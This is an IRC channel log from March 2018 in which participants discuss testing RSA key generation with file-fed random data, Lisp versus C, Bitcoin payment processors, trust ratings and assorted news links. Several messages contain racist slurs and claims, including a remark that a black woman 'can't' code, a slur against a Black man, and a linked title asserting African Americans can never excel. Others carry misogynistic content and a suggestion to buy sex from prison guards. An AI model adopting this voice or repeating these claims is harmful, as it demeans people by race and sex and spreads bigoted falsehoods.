1787354;1520537221;ave1;http://btcbase.org/log/2018-03-08#1787233, good point, I have been thinking of other ways. The basic use case is to have a way to test the key generation (and other operations) in a repeatable way. With a live random generator this is impossible. Also time is a factor here, with a correctly primed file, I can generate a key in a second, without it can be a process that takes from 6 seconds to an hour (empirically determined)
1787355;1520537221;a111;Logged on 2018-03-08 15:46 mircea_popescu: http://btcbase.org/log/2018-03-08#1787216 << it seems rather, that first you should evaluate the http://btcbase.org/log/2018-03-08#1787207 and see if indeed it makes sense, or it's just the proverbial "first notion that formed in head upon quarter seccond's apprehension of $item" ; if indeed it is needed, legitimately, then the next step is to make a file handler that eats your file as you want it on one hand and emulates fg
1787356;1520537223;asciilifeform;to learn per se is harmless, supposing you're decently good at mental compartmentalization. asciilifeform for instance worx with high-pressure liquishit from undocumented guts of winblowz kernel, ~daily. perhaps it is lethal eventually, but observe, not yet dead. ( would you say it has visible effect on style of asciilifeform's publications to date ? would you know, re the winblowz, if asciilifeform did not confess it ? )
1787357;1520537271;asciilifeform;ave1: there you are. did you ever read my ch8 ? is the item you are trying to make, identical to the one seen there ?
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1787360;1520537371;ave1;I've just read it, the function in the eucrypt code works similar
1787361;1520537423;asciilifeform;iirc diana_coman's also inits the tty, in a FG-specific way
1787362;1520537440;trinque;asciilifeform: I don't think you take my meaning. Killing bacteria is a fine thing if you do it; the lisp guys didn't. Another strategy is engulfing bacteria and making it part of your digestive process, with all the added complexity and risk that entails.
1787363;1520537446;ave1;The  discussion revolved around the functions that use the random number generation code in eucrypt.
1787364;1520537447;asciilifeform;( on my systems i init the FG's tty at boot, so i did not bake it into ffacalc )
1787365;1520537454;trinque;I can see the merits of the latter, and why it ends up winning.
1787366;1520537489;asciilifeform;trinque: the interesting bit is that the bolix folx did 'make gut bacteria', they had a c and even fortran compiler shipped with the box
1787367;1520537525;asciilifeform;was actually quite a feat, all of the various compilers were able to freely exchange data structures
1787368;1520537534;asciilifeform;and without losing memorysafety
1787369;1520537558;asciilifeform;( phf , i suspect, knows more re: exactly how this was built, than i , if yer curious re detail )
1787370;1520537598;ave1;http://btcbase.org/log/2018-03-08#1787249, this also, although I can work with /dev/urandom just fine. I just needed to turn remove the tty call.
1787371;1520537598;a111;Logged on 2018-03-08 16:33 mircea_popescu: ave1 is your dancing around the entropy problem with files etc driven by the fact you don't have a fg, incidentally ?
1787372;1520537760;asciilifeform;ave1: the reason i wrote my mechanism as seen in ch8, is not only that it was the simplest physically possible that i could think of , but that i regard any invocation of randomola where i cannot substitute a known value for testing, as a serious problem -- how is one to know that the proggy actually does what is claimed with the randomola ? rather than, e.g., 'lose' some (or all of it) along the way and take a constant as the 'rando
1787373;1520537760;asciilifeform;m' .
1787374;1520537783;asciilifeform;( and, importantly, must be able to substitute without rebuilding the proggy )
1787375;1520538021;mircea_popescu;http://btcbase.org/log/2018-03-08#1787344 << this is wrong, not because of the bacteria, mind you, but because it fails at the paramount task of language, which is to articulate the model.
1787376;1520538021;a111;Logged on 2018-03-08 19:02 asciilifeform: the only 'common language' one can find to talk to bacteria -- is bleach.
1787377;1520538061;mircea_popescu;when i respond to random idiots in here i don't do so ~because of the idiots~. i do so because the statement is valuable and important to people who aren't the idiots. much like flint makes fire not because of the shitty whatever that hits it, but because ~IT~ is flint.
1787378;1520538088;asciilifeform;that's the problem tho, if you could articulate a useful model of the c shitsoup, it would not be shitsoup, but merely another civilization with which one could potentially make commerce, like with japan say
1787379;1520538092;asciilifeform;but it's a fungus.
1787380;1520538095;asciilifeform;how to talk to fungus?
1787381;1520538120;mircea_popescu;it's not a matter of articulating c "in such a way as to make it a civilisation", it is a matter of articulating WHY it isn't.
1787382;1520538129;mircea_popescu;the task isn't to tell black chick how to code, but why she can't.
1787383;1520538160;mircea_popescu;note that biology isn't "explaining bacteria to itself"
1787384;1520538169;mircea_popescu;it's "explaining bacteria to mp".
1787385;1520538196;*;asciilifeform does not, then , disagree. but thought that orig thread was re 'they did not make a standard ffi to talk with c-land, and thereby perished'
1787386;1520538205;mircea_popescu;but it is!
1787387;1520538231;mircea_popescu;"they did not make a standard ffi; and thereby perished." , no purpose involved, forget "to", there's no to.
1787388;1520538253;mircea_popescu;but they missed the opportunity to make sense of themselves, for themselves. and if this specifically didn't kill them, the root it belies i reckon nevertheless did.
1787389;1520538283;asciilifeform;so can haz a hypothetical contrary ? i.e. how would it have looked to have 'standard interface' to a thing which itself has no intention of obeying any standards ?
1787390;1520538295;mircea_popescu;this intention'd have had to come under examination.
1787391;1520538329;mircea_popescu;mind that there's two classes of response to "why ... ?" : one is "because..." and the other is "i never thought of this before...". there's no "topurpose..." in there notably, there's just the two, and one of the two will always be the case.
1787392;1520538377;ave1;asciilifeform, yes I concur. Will work more on it tomorrow... (now back to reading)
1787393;1520538378;mircea_popescu;and i very much suspect any man who ever answered a why with "so that...". because really now.
1787394;1520538410;asciilifeform;if you ask a c programmer why he thinks it is acceptable to define , e.g, string, as 'pointer into a potentially infinite row of crapola, maybe someone forgot the null terminator' he will ~always bring back answer of 'stfu, terrorist' (i.e. 'never thought about it, and don't intend to')
1787395;1520538425;mircea_popescu;so good for him.
1787396;1520538449;mircea_popescu;if i ask hanbot 's pitts anything they always say "woof", also. great pits they are.
1787397;1520538541;asciilifeform;unfortunately wrong animal : c programmer is not a pitt, but moar of a caged mouse, ~incapable of toilet training, will leave trails of droppings where he goes.
1787398;1520538569;mircea_popescu;you definitely can train mouse. it's, very amusingly, more intelligent than cat.
1787399;1520538588;asciilifeform;afaik this particular trick cannot be taught to mouse. but asciilifeform is not an expert.
1787400;1520538609;mircea_popescu;(horse also more intelligent than dog, in turn because auroch more intelligent than old wolf, and in general, the herbivore than the preditor. somehow.)
1787401;1520538624;asciilifeform;predator is lazy.
1787402;1520538648;asciilifeform;( even in human it is very difficult, perhaps impossible, to distinguish lazy-intelligent from stupid )
1787403;1520538649;mircea_popescu;the alternative explanation being that preditor eats protein, herbivore carbs. brains work on carbs.
1787404;1520538691;mircea_popescu;in this view, that you can teach parrot "to speak" and it ALSO eats fruit... well... not coincidental.
1787405;1520538980;mircea_popescu;http://btcbase.org/log/2018-03-08#1787348 << depends entirely who'd it won it with, i guess. certainly smgl winning with naggum didn't work out (though a good argument can be brought that's not nearly what happened there).
1787406;1520538980;a111;Logged on 2018-03-08 19:08 trinque: not that the world gives happy endings down any branch; we'd perhaps be loathing what lisp might've become as much as java, had it "won"
1787407;1520539016;mircea_popescu;but if you can't even answer "who's the java guy" gives it little hope.
1787408;1520539119;mircea_popescu;ave1 i will say the "test harness for rsa/etc" is a very solid usecase for file-fed fg-emu.
1787409;1520539174;mircea_popescu;http://btcbase.org/log/2018-03-08#1787356 << and yet we know in case of satoshi. there's at least one lost intellect of great promise in that cemetery.
1787410;1520539174;a111;Logged on 2018-03-08 19:27 asciilifeform: to learn per se is harmless, supposing you're decently good at mental compartmentalization. asciilifeform for instance worx with high-pressure liquishit from undocumented guts of winblowz kernel, ~daily. perhaps it is lethal eventually, but observe, not yet dead. ( would you say it has visible effect on style of asciilifeform's publications to date ? would you know, re the winblowz, if asciilifeform did not confess it ? )
1787411;1520539239;mircea_popescu;notably, the question of "no wheelies on black ice without helmet" isn't decided on the basis of whether you survived ; but on the basis of whether anyone didn't.
1787412;1520539248;asciilifeform;in so far as anybody ever knew, there was not a second, nonwinblowz, side to shitoshi. microshit mind to the hilt.
1787413;1520539380;asciilifeform;i'd compare it to english -- harmless to learn for talking to folx on the net, but just about lethal as a mothertongue
1787414;1520539417;asciilifeform;even aside from shitoshi, historically i've found 'microshit as mothertongue' people to be ~instantly recognizable (from their output)
1787415;1520539432;mircea_popescu;certainly unstructured in a certain way.
1787416;1520539441;asciilifeform;( primary symptom being http://btcbase.org/log/2016-01-21#1379603 )
1787417;1520539441;a111;Logged on 2016-01-21 13:29 asciilifeform: 'if i make it what i think is the right size, it crashes!111'
1787418;1520539461;mircea_popescu;you know, incidentally, what is the old word for "' people to be ~instantly recognizable (from their output)" ?
1787419;1520539499;asciilifeform;'know the fool by his open mouth' or how it went
1787420;1520539504;mircea_popescu;"engineer".
1787421;1520539523;asciilifeform;problematic, there were people convinced that e.g. beaver, is 'also engineer'
1787422;1520539565;mircea_popescu;yes, but this "poor mastery of book learnin', relying on endless tomes of tico brache measurements" thing -- very much what the engineer started off as.
1787423;1520539590;mircea_popescu;uncle al even has a portrait of three of these, making a super-unitary efficiency engine.
1787424;1520539599;mircea_popescu;they have a book on torque measurements an' errything.
1787425;1520539640;asciilifeform;there's a (long ago) quite famous ru short story satirizing this exact thing
1787426;1520539645;asciilifeform;i'ma have to translate it at some point
1787427;1520539650;mircea_popescu;by all means.
1787428;1520539674;mircea_popescu;!!up schmidty
1787429;1520539674;deedbot;schmidty voiced for 30 minutes.
1787430;1520539764;asciilifeform;( for phf et al : http://lib.ru/koi/SHUKSHIN/upornyj.txt is the item , ftr )
1787431;1520539777;mircea_popescu;got a link to the al item handy too ?
1787432;1520539835;asciilifeform;mircea_popescu: not readily. he spent 20+yrs flaming perpetuum-mobilists, alchemists, aetherists, etc., will need a bit moardetail to remember which piece this was
1787433;1520539878;mircea_popescu;he was young, sent to write some article or w/e. the salient points were that this was a 2 stroke engine, and the doods were inferring power on the basis of torque but measured on a different circumference.
1787434;1520539974;asciilifeform;oh hm was this the 3stroke engine
1787435;1520539995;mircea_popescu;a yes yes, 3 stroke
1787436;1520540015;mircea_popescu;was amply discussed in logs, too, but like 2014.
1787437;1520540099;mircea_popescu;http://btcbase.org/log/2018-03-08#1787367 << indeed. the sort of items that gag me from lambasting the item ; though they're rarely held up as major points by the proponents.
1787438;1520540099;a111;Logged on 2018-03-08 19:32 asciilifeform: was actually quite a feat, all of the various compilers were able to freely exchange data structures
1787439;1520540124;asciilifeform;lol all i found was http://btcbase.org/log/2017-07-30#1690897
1787440;1520540124;a111;Logged on 2017-07-30 04:22 mircea_popescu: asciilifeform who had that great story about the three dorks in a garage inventing a super-efficient engine over 20 years of playing around throiugh the process of miss-measuring torque ?
1787441;1520540137;mircea_popescu;darn\
1787442;1520540156;mircea_popescu;honestly i'd re-read it, showed the signs of a great novelist in the rough. rather clemens-like.
1787443;1520540223;mircea_popescu;twas never found was it.
1787444;1520540369;*;asciilifeform will bbl.
1787445;1520540418;mircea_popescu;incidentally, mazepath.com is certainly something for the archiving.
1787446;1520540722;mircea_popescu;http://btcbase.org/log/2018-03-08#1787370 << hey asciilifeform mind sending our last remaining FG to this fine fellow ? we'll book it on teh goodwill line.
1787447;1520540722;a111;Logged on 2018-03-08 19:33 ave1: http://btcbase.org/log/2018-03-08#1787249, this also, although I can work with /dev/urandom just fine. I just needed to turn remove the tty call.
1787448;1520540733;mircea_popescu;ave1 send him an address.
1787449;1520541127;asciilifeform;mircea_popescu: absolutely, will send.
1787450;1520541140;*;asciilifeform however now really must go to town on $chores, so will genuinely bbl.
1787451;1520541147;mircea_popescu;laters
1787452;1520544575;mircea_popescu;meditation upon http://btcbase.org/log/2018-03-08#1787343 yields the interesting result that problem spaces are not continuous. problem spaces are discrete, and there exists such a thing as problem spans.
1787453;1520544575;a111;Logged on 2018-03-08 18:59 asciilifeform: re the standard ffi, the lispm folks, as i understand, saw it as an instance of http://trilema.com/2016/unicode-is-fucking-stupid-the-definitive-article/#selection-187.80-187.399 , and i'm not convinced that they were wrong
1787454;1520544648;mircea_popescu;this then induces two possible errors in aproach. the situation where the solution is over-span, which we generally call "overengineered" ; and the situation where the solution is under-span, which is pluriously referenced as jwz's error, but is not substantially different from http://btcbase.org/log-search?q=spreading+works or the airplane that can take off, and flies well, but can't land.
1787455;1520544698;mircea_popescu;the architectural model is particularly useful : building 80% of an arch, or in general whatever sub-unitary percent of the arch will not result in something that stays up. the span must be exactly covered, because a sub-span arch, no matter how well done in the parts that are in fact done, will nevertheless collapse under the weight of the absent portion.
1787456;1520544784;mircea_popescu;in these terms the infantile "i only want to solve problem Y defined as 80% of the actual problem" readily shows its infantilism. good and well that you want to build an os without a socio-political model ; but what you want dun enter into this.
1787457;1520544785;mircea_popescu;and so on.
1787458;1520545034;esthlos;http://btcbase.org/log/2018-03-07#1787167 << got it, thank you for helping to beat the pantsuit out of me. now I'll shut up and be useful
1787459;1520545034;a111;Logged on 2018-03-07 19:21 mircea_popescu: now less excuses, none of this "my pantsuit existence comes before the republic" ever again and more productivity. MUCH more productivity.
1787460;1520545093;mircea_popescu;i probably exaggerated ; but carry on in teh spirit an godspeed to you.
1787461;1520545515;BingoBoingo;!~ticker --market all
1787462;1520545522;jhvh1;BingoBoingo: Bitstamp BTCUSD last: 9394.06, vol: 23214.80150952 | Bitfinex BTCUSD last: 9394.2, vol: 69094.786364 | Kraken BTCUSD last: 9374.8, vol: 12324.7337774 | Volume-weighted last average: 9391.88383926
1787463;1520558542;mod6;In UTF-8 news, I've been working on a re-grind.  There's a number of things I want to talk about, so I'm in the process of writing up a "blog" post on mod6.net about it.
1787464;1520558618;mod6;Should have it posted in a week or less.
1787465;1520559587;mircea_popescu;cool
1787466;1520574021;mircea_popescu;!#s spotify dogfood
1787467;1520574021;a111;0 results for "spotify dogfood", http://btcbase.org/log-search?q=spotify%20dogfood
1787468;1520574064;mircea_popescu;BingoBoingo very marginally maybe worth a lulz : github took down however many forks of project aiming at taking ads out of "spotify" which is some scamvalley "service" doing ~nothing in particular.
1787469;1520574085;mircea_popescu;"open source" for as long as the idiots are willing to provide free work to usg.scamdept.
1787470;1520574974;mircea_popescu;in almost related cvasi-news, https://torrentfreak.com/torrent-seedbox-veterans-bow-out-of-changing-market-180304/
1787471;1520576975;deedbot;http://trilema.com/2018/and-in-todays-lulz-the-obnoxious-cocksucker/ << Trilema - And in today's lulz, the obnoxious cocksucker.
1787472;1520585710;mircea_popescu;!~later tell danielpbarron http://trilema.com/2018/trilema-poker-bot-spec/ ?
1787473;1520585710;jhvh1;mircea_popescu: The operation succeeded.
1787474;1520586744;deedbot;http://trilema.com/2018/trilema-poker-bot-spec/ << Trilema - #trilema poker bot spec
1787475;1520594605;BingoBoingo;<mircea_popescu> BingoBoingo very marginally maybe worth a lulz : github took down however many forks of project aiming at taking ads out of "spotify" which is some scamvalley "service" doing ~nothing in particular. << I will look into it, maybe try to find something to twofer it with
1787476;1520615057;deedbot;http://qntra.net/2018/03/arrangements-being-made-for-donald-trump-to-meet-kim-jung-un/ << Qntra - Arrangements Being Made For Donald Trump To Meet Kim Jung Un
1787477;1520620637;deedbot;http://trilema.com/2018/lets-read-together-uncle-al-schwartz-hexadecimal-dependency/ << Trilema - Let's read together uncle Al Schwartz' Hexadecimal Dependency
1787478;1520621496;ave1;http://btcbase.org/log/2018-03-08#1787446, Thank you!
1787479;1520621496;a111;Logged on 2018-03-08 20:25 mircea_popescu: http://btcbase.org/log/2018-03-08#1787370 << hey asciilifeform mind sending our last remaining FG to this fine fellow ? we'll book it on teh goodwill line.
1787480;1520621509;ave1;asciilifeform, http://p.bvulpes.com/pastes/XK3tT/?raw=true
1787481;1520621542;asciilifeform;ave1: got it
1787482;1520622540;mircea_popescu;yo ben_vulpes whatever happened to http://btcbase.org/log/2018-02-02#1779891 !
1787483;1520622540;a111;Logged on 2018-02-02 21:18 mircea_popescu: copa is cheap-ish and pretty good ; the rest are gringo airlines doing dumb shit like hubbing through us cities. which makes your voyage split 3/10 rather than 5-7 or so
1787484;1520649041;shinohai;!~later tell jurov I wish to donate my Feb. Qntra shares to the Bitcoin Foundation, please to advise as to how to proceed.
1787485;1520649041;jhvh1;shinohai: The operation succeeded.
1787486;1520656549;lobbes;hm, danielpbarron.com seems to be down. (though, mebbe he's taking the server to oklahoma too)
1787487;1520657688;trinque;http://btcbase.org/log/2016-03-17#1435256 << wager it's in a suitcase, aha
1787488;1520657688;a111;Logged on 2016-03-17 16:30 danielpbarron: pogo really shouldn't be used for this purpose :<
1787489;1520659500;lobbes;ahh that's right. I'd wager that'd be it as well
1787490;1520659521;lobbes;aite, quiet enough for some wot maintenance.. incoming:
1787491;1520659528;lobbes;!!v 316E4840801A58BAD97D969372ECF35CD0E1B4BD7FC6C42F192FF9F16F61722C
1787492;1520659528;deedbot;lobbes rated shinohai 1 << fellow Republican sapper; runs jhvh1; long history of respectable service
1787493;1520659535;lobbes;!!v 7E9E76A6562A0A714B857AB3144E92502F46F0837E9EEB8F16C4CD1277DAE824
1787494;1520659535;deedbot;lobbes rated phf 1 << barksinthewind.com, btcbase.org and much, much more. inquire within >> http://btcbase.org/log-search?q=phf
1787495;1520659545;lobbes;!!v B9D37E23345398AE167D36C57EC90E9DCA6A1D869AACC95CA1689860BD63C8AC
1787496;1520659545;deedbot;lobbes unrated blazedout419.
1787497;1520659552;lobbes;!!v 768C928F348A6B0696C3764E707AE7C8209886988394CE703687195F666E1CFC
1787498;1520659553;deedbot;lobbes unrated csm.
1787499;1520659558;lobbes;!!v 1EF4C5B93C22F6445782F29A39C9481B0A203FFB34823D3840E5F4370A70FF44
1787500;1520659559;deedbot;lobbes unrated kakobrekla.
1787501;1520659570;lobbes;done
1787502;1520663637;mircea_popescu;in other news, etoro (lulzy online scam trying the "soft" approach) is STILL advertising ripple.
1787503;1520664580;lobbes;lulzy "Trade & Invest in top cryptocurrencies, ETFs and thousands of stocks. Trade currency pairs, Indices and Commodities via CFDs. Investing in the financial markets has never been easier"
1787504;1520664587;lobbes;it'll never end, eh
1787505;1520664849;lobbes;for the scam-archives: https://www.etoro.com/
1787506;1520664876;mircea_popescu;traditionally boiler room promoters like dead pinksheet stocks.
1787507;1520668577;*;ben_vulpes home sweet home; to sleep for two days and then reports
1787508;1520668742;deedbot;http://trilema.com/2018/why-african-americans-can-never-excel-at-anything-relative-to-the-white-majority-they-cant-be-the-smartest-nor-the-poorest-nor-the-best-nor-the-neediest-nor-the-anything-else-est-not-ever/ << Trilema - Why "african americans" can never excel at anything relative to the white majority : they can't be the smartest, nor the poorest, nor the best nor the neediest nor the anything else-est. Not ever.
1787509;1520674783;mircea_popescu;^ and wait until teh pantsuit realize what ~attacking~ the normal distribution implies.
1787510;1520675098;jurov;shinohai: send me clearsigned request, incl. date and whether it should be done always from now on.
1787511;1520696741;mod6;ben_vulpes: ah nice to hear!  yeah, please get two days of rest.  Thanks!
1787512;1520697016;shinohai;Mornin mod6
1787513;1520697311;shinohai;!~later tell jurov http://wotpaste.cascadianhacker.com/pastes/dMAZI/?raw=true
1787514;1520697311;jhvh1;shinohai: The operation succeeded.
1787515;1520698530;mod6;mornin' shinohai :]
1787516;1520698546;mircea_popescu;meanwhile in other "it's not just the talent that's bovine ; the promoters are EXACTLY as fucking idiotic" news, check out https://gfy.com/webmaster-q-and-fuckin-a/994333-payment-methods.html
1787517;1520698546;shinohai;How goes today?
1787518;1520698596;asciilifeform;mircea_popescu: 2010 is news??
1787519;1520698597;mircea_popescu;(tl;dr : buncha discussion from 2010, "what is best payment processor ?" "oh paxum/payoneer/webmoney/they all suck", then someone posts about bitcoin and thread dies -- only to be resurected in 2016!!!! where some dood goes "oh, you must be filthy rich now" in response to the bitcoin guy
1787520;1520698602;asciilifeform;aa
1787521;1520698612;mircea_popescu;AND THEN!!! they go straight the fuck back to "paxum/payoneer/webmoney/they all suck"
1787522;1520698644;mircea_popescu;it's something beyond fucking comprehension this. schmucks entirely understand the problem, ~pretend~ to be involved in solving it, will NOT ditch the fucking pantsuit trappings like they're sutured to their ballsac.
1787523;1520705416;deedbot;http://trilema.com/2018/its-2018-but-the-average-guy-still-belongs-in-chains/ << Trilema - It's 2018, but the "average guy" still belongs in chains
1787524;1520708159;mircea_popescu;meanwhile in other flatulences, http://businessconsulence.com/
1787525;1520708600;shinohai;!~ticker --market all
1787526;1520708607;jhvh1;shinohai: Bitstamp BTCUSD last: 9035.75, vol: 12995.28425917 | Bitfinex BTCUSD last: 9000.0, vol: 56174.82026256 | Kraken BTCUSD last: 9011.0, vol: 10747.5389942 | Volume-weighted last average: 9007.29256164
1787527;1520713556;deedbot;http://qntra.net/2018/03/memcached-ddos-attacks-lead-to-record-breaking-levels-of-wank/ << Qntra - Memcached DDoS Attacks Lead To Record Breaking Levels Of Wank
1787528;1520713631;shinohai;s/memcache/memecache LOL
1787529;1520714236;mircea_popescu;heh. trilema was a "victim" btw, in the sense of seeing 10x as much "traffic" as usual.
1787530;1520714303;BingoBoingo;Well, Trilema is a sort of observatory for these things
1787531;1520714348;BingoBoingo;That's just the nature of having a view from a tower
1787532;1520715144;lobbes;in other new, I was able to erect mp-wp on my local test machine using hanbot's excellent guide for n00bs like me (I had never used ANY wp previously) >> http://thewhet.net/2017/10/a-compendium-of-possibly-helpful-stuffs-for-erecting-mircea-popescus-wordpress-with-nearly-free-speech-hosting/
1787533;1520715150;lobbes;Biggest challenge for me was I had to figure out how to set up mysql for mp-wp via command-line (as I interact with my VPSen via ssh only). Turned out to be very simple once I did figure it out. Currently testing and tweaking themes, and then plan to post my own compendium cobbled from my notes once I get the thing into "production"
1787534;1520715153;mircea_popescu;hey, nice.
1787535;1520715671;shinohai; !!up pokarBot
1787536;1520715672;deedbot;pokarBot voiced for 30 minutes.
1787537;1520715714;shinohai;.game
1787538;1520715715;pokarBot; ♥ 4 ♣10 Dealer! *shinohai
1787539;1520715722;shinohai;.deal
1787540;1520715723;pokarBot;*shinohai Dealt! shinohai #1
1787541;1520715744;shinohai;^ plox to ignore mah pokarBot spam.
1787542;1520715773;mircea_popescu;shinohai are you going for the http://trilema.com/2018/trilema-poker-bot-spec/ ?
1787543;1520715806;shinohai;I dunno, just read that article earlier and remembered I have a pokarbot already, just needs tweaks.
1787544;1520716041;shinohai;.f
1787545;1520716051;mircea_popescu;what's with your and non-commititude anyway.
1787546;1520716092;shinohai;I'm high on morphine at the moment, forgive me if my thougtz arent so clear
1787547;1520716116;mircea_popescu;o.O
1787548;1520716211;shinohai;I seriously do not understand how junkies function everyday. Feels like it takes me 10 minutes to type the reply it took me 5 minutes to formulate
1787549;1520716304;BingoBoingo;shinohai: Imma guess in hospital?
1787550;1520716408;shinohai;Until they let me the fuck out
1787551;1520716452;BingoBoingo;Pls don't tell me a roof broke your leg trying to gabriel_laddel yourself about the rooftops
1787552;1520716552;shinohai;No, I only do drugs *after* I get to the hospital.
1787553;1520716802;shinohai;.f
1787554;1520716813;shinohai;grrrrr
1787555;1520720642;deedbot;http://www.thedrinkingrecord.com/2018/03/10/receiving-a-guest-in-montevideo/ << Bingo Blog - Receiving A Guest In Montevideo
1787556;1520756572;mircea_popescu;aand in other http://trilema.com/2018/the-rivers-of-blood-article-or-the-lordship-list-fifth-year/ lulz, telford joins the lengthy list of towns in britain where the azn man has the whip hand over the white man.
1787557;1520756603;mircea_popescu;specifically, THOUSANDS of pubescent girls being gangraped, sold for sex and forced to lure their sisters/cousins/etc in a community that counts 170k...
1787558;1520756631;mircea_popescu;let's do some math. 170k people that's 90k females of which maybe 3-5k females aged 10 to 15... EVERY OTHER GIRL GOT FUCKED.
1787559;1520756652;mircea_popescu;starting sometime in 1981.
1787560;1520774759;shinohai;!~ticker --market all
1787561;1520774764;jhvh1;shinohai: Bitstamp BTCUSD last: 9276.69, vol: 15483.80090424 | Bitfinex BTCUSD last: 9280.9, vol: 60401.79447424 | Kraken BTCUSD last: 9270.5, vol: 13538.434585 | Volume-weighted last average: 9278.59651936
1787562;1520778278;shinohai;In Sunday morning lolz: https://ret2got.wordpress.com/2018/01/19/how-your-ethereum-can-be-stolen-using-dns-rebinding/
1787563;1520781031;mircea_popescu;BingoBoingo in other lulz, other than trying to push bitcoin crash as an implicit alternative, bitpay finally dropped bitcoin payments in favour of some nonsense "payment protocol" they developed in-house.
1787564;1520781031;mircea_popescu;apparently they had nfi the trickle i was throwing their way constituted most of their business (or rather, more of the same http://trilema.com/2018/and-in-todays-lulz-the-obnoxious-cocksucker/ hallucinations). should be fun to see what happens now that i'm turning off that faucet.
1787565;1520781099;shinohai;gm mircea_popescu o/
1787566;1520781110;mircea_popescu;heya
1787567;1520781168;shinohai;The Bitpay thing is lulzy, they are charging a fee for BTC tx;'s and calling it a "network fee" instead of "this is some arbitrary fee we made up"
1787568;1520781185;shinohai;0 fee for BCrash tx's
1787569;1520781202;mircea_popescu;yeah. after years of trying to "establish" the usual bullcrap ("brand"!!!) they finally moved to the switch part of the bait-and-switch.
1787570;1520781238;mircea_popescu;but hey, being able to inflict major business loss upon an idiot like that in a situation like that is the whole reason why one wants to be rich in the first place.
1787571;1520781263;mircea_popescu;"oh, i wonder what happened" "let's have a brainstorming about it" "oh, good idea. but can we say what actually happened ?" "no wai!"
1787572;1520781349;shinohai;Is anyone else that has used Bitpay gotten the message where you have to have a compatible btc client open to make payment? Last I tried it wouldn't let you copy the actual btc addy, you had to either scan a qr or let system open your client.
1787573;1520781375;mircea_popescu;that is the point.
1787574;1520781683;mircea_popescu;in other news, prostitutes in bangladesh make ~50 cents.
1787575;1520781737;mircea_popescu;chinese girls make 1-200. talk about middle kingdom resurgence, fifty years ago they made 50 cents also.
1787576;1520781949;mircea_popescu;(ex strippers moved to "female guard" in us penitentiary system charge ~same.)
1787577;1520782012;mircea_popescu;speaking of which : stash some bitcoin with a credible agent and go straight to club fed. as long as your "commissionary" account gets a few thou dripped every month/week, you can impregnate the entire population of "social workers"
1787578;1520791401;BingoBoingo;<mircea_popescu> BingoBoingo in other lulz, other than trying to push bitcoin crash as an implicit alternative, bitpay finally dropped bitcoin payments in favour of some nonsense "payment protocol" they developed in-house. << AHA, yeah the PRB v 0.9 thing
1787579;1520794674;mircea_popescu;ah, did prb split up meanwhile ?
1787580;1520794733;BingoBoingo;Nah, that was a 2013 thing, the payment protocol turd Buttpay suddenly decided to try forcing
1787581;1520795026;mircea_popescu;i guess they were looking for a good excuse to go out.
1787582;1520795145;BingoBoingo;So it seems.
1787583;1520800255;BingoBoingo;Look who's back http://qntra.net/2018/03/memcached-ddos-attacks-lead-to-record-breaking-levels-of-wank/#comment-111193
1787584;1520800330;deedbot;http://www.thedrinkingrecord.com/2018/03/11/caught-on-camera-a-very-rare-pepe/ << Bingo Blog - Caught On Camera: A Very Rare Pepe
1787585;1520800390;shinohai;feelsgoodman
1787586;1520800450;BingoBoingo;But is it as much as mangoodfeels?
1787587;1520800572;mircea_popescu;fake pepe detected
1787588;1520800960;shinohai;http://archive.is/5Q19t   <<< Heh, now mining some obscure shitcoin "Electroneum" instead of Monero
1787589;1520801479;BingoBoingo;Possibru? I spotted frogthing walking with girl, thought about relaying the story on IRC then realized, this is what cameras are for.
1787590;1520801772;shinohai;You should have asked to see his cedula, verify that is indeed Senor Pepe.
1787591;1520802210;deedbot;http://qntra.net/2018/03/us-fbi-and-canadian-mounties-kill-startup-after-entrapment-campaign/ << Qntra - US FBI And Canadian Mounties Kill Startup After Entrapment Campaign
1787592;1520803086;mircea_popescu;in other news, holy shit tuna is great here. $25 will buy you a kg of such fine fresh stuff as i've ever seen.
1787593;1520803194;shinohai;Now I want some lox and onions instead of this terrible bland shit.
1787594;1520804165;mircea_popescu;in other incomprehensible obscurities, https://mikemcclaughry.wordpress.com/2017/05/22/karen-de-le-carriere-brags-about-her-years-as-intelligence-operative-in-the-defense-department/
1787595;1520829850;hanbot;<mircea_popescu> (ex strippers moved to "female guard" in us penitentiary system charge ~same.) << do us penitentiary denizens have $200? or is this paid in tide pods?
1787596;1520829908;mircea_popescu;i expect a good portion is paid in stampbooks yeah
1787597;1520829943;mircea_popescu;but anyway, that was the point of the comment -- don't just go in, make arrangements. while syphilitic uncle sam is paying for the rent, you can have all the fun a dying empire could possibly offer
1787598;1520829957;mircea_popescu;recall that iliterate nigglet that impregnated half the staff ? just HOW do you figure he did it ?
1787599;1520830150;hanbot;well, by being sufficiently male in an otherwise maleless environment.
1787600;1520830211;mircea_popescu;an ounce of setting up the bomb is worth ten pounds of policeman guts on the fences.
1787601;1520845183;douchebag;Good evening
1787602;1520865333;mod6;mornin'
1787603;1520872916;shinohai;http://archive.is/2nfBZ   <<< Conbase + Segwit - what could go wrong?
1787604;1520873142;mod6;smh
1787605;1520874344;lobbes;Anyone else got trilema's fancy js-text-selection working in their version of mp-wp? I ripped the js directly from trilema.com and slapped it into my 'footer.php', but no dice thus far. Is there some trick I'm missing?
1787606;1520874544;lobbes;I saw in logs that spyked was trying things to get it to work. You ever get that working, spyked?
1787607;1520874701;mod6;!!up BlueAngelHost
1787608;1520874701;deedbot;BlueAngelHost voiced for 30 minutes.
1787609;1520874739;mod6;Hello
1787610;1520874753;BlueAngelHost;hello everyone
1787611;1520874793;mod6;!!key BlueAngelHost
1787612;1520874794;deedbot;Not registered.
1787613;1520874798;shinohai;!~ticker --market all
1787614;1520874806;jhvh1;shinohai: Bitstamp BTCUSD last: 9238.22, vol: 18067.48517952 | Bitfinex BTCUSD last: 9231.9, vol: 68739.05830211 | Kraken BTCUSD last: 9236.2, vol: 13449.8000818 | Volume-weighted last average: 9233.6158081
1787615;1520874827;mod6;Who might you be?  You'll want to register a PGP key when you can.
1787616;1520875004;mod6;Alrighty then.
1787617;1520875028;mod6;Ask not what your republic can do for you, ask what you can do for your republic.
1787618;1520875076;shinohai;heh
1787619;1520875160;trinque;quick google suggests "HELLO FELLOW HACKERS. WOULD YOU LIKE SOME DCMA-FREE OFFSHORE HOSTING? PLEASE BREAK LAWS HERE."
1787620;1520875179;trinque;did no one ever buy/sell drugs as a troubled youth, or what
1787621;1520875268;mod6;!!up BlueAngelHost
1787622;1520875269;deedbot;BlueAngelHost voiced for 30 minutes.
1787623;1520875288;mod6;I'll give you a second chance here.
1787624;1520875329;shinohai;I was gonna ask how La Whores are, but he probably wouldn't get the joke.
1787625;1520875393;BlueAngelHost;hi mod6
1787626;1520875424;mod6;Hi.  Please state your name, and your purpose.
1787627;1520875439;BlueAngelHost;I am invited by one of my client
